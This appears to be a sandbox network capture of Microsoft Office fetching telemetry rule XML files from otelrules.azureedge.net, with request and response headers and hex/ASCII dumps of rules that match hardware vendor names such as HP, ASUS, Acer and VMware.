2024-11-01 02:45:59 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:59 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 1f7bc680-101e-0065-6904-274088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024559Z-16849878b78qf2gleqhwczd21s0000000agg00000000nhgs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:45:59 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:45:59 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:45:59 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:59 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: fc05dcd0-301e-0052-2d91-2a65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024559Z-159b85dff8f6x4jjhC1DFW7uqg000000020000000000fyah x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:45:59 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:00 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:00 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:00 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: f8a1f3da-c01e-0082-13cd-2aaf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024600Z-159b85dff8fsgrl7hC1DFWadan000000034g00000000dzza x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:00 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:00 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:00 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:00 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 3c9c0adf-d01e-0028-0c96-257896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024600Z-16849878b78qfbkc5yywmsbg0c0000000a1000000000k1ew x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:00 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:00 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:00 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:00 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 0fe0dd21-c01e-0066-771c-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024600Z-16849878b787wpl5wqkt5731b40000000b5g00000000bdy5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 02:46:00 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:00 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:00 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:00 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: b80877bf-b01e-0084-28e3-26d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024600Z-17c5cb586f626sn8grcgm1gf8000000008u000000000edk8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:00 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:00 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:00 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:00 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d7faccb9-c01e-002b-307f-276e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024600Z-16849878b78bjkl8dpep89pbgg000000090000000000rmh6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:00 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:01 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:01 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:01 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 89d7e9f4-d01e-0066-46a8-2aea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024601Z-16849878b786fl7gm2qg4r5y700000000an000000000m91u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:01 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:01 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:01 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:01 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 6484a1a6-201e-0000-75a3-26a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024601Z-16849878b78g2m84h2v9sta29000000009bg000000008yvh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:01 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:01 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:01 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:01 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: abf73cf0-e01e-0052-5534-2ad9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024601Z-15b8d89586f4zwgbgswvrvz4vs0000000bw0000000008k2a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:01 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:01 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:01 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:01 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 78a5d0bc-501e-005b-6da6-26d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024601Z-16849878b78xblwksrnkakc08w00000009m000000000kuvc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:01 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:01 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:01 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:01 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 1a39e609-901e-0048-60a3-26b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024601Z-16849878b785jrf8dn0d2rczaw0000000bk000000000c8sg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:01 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

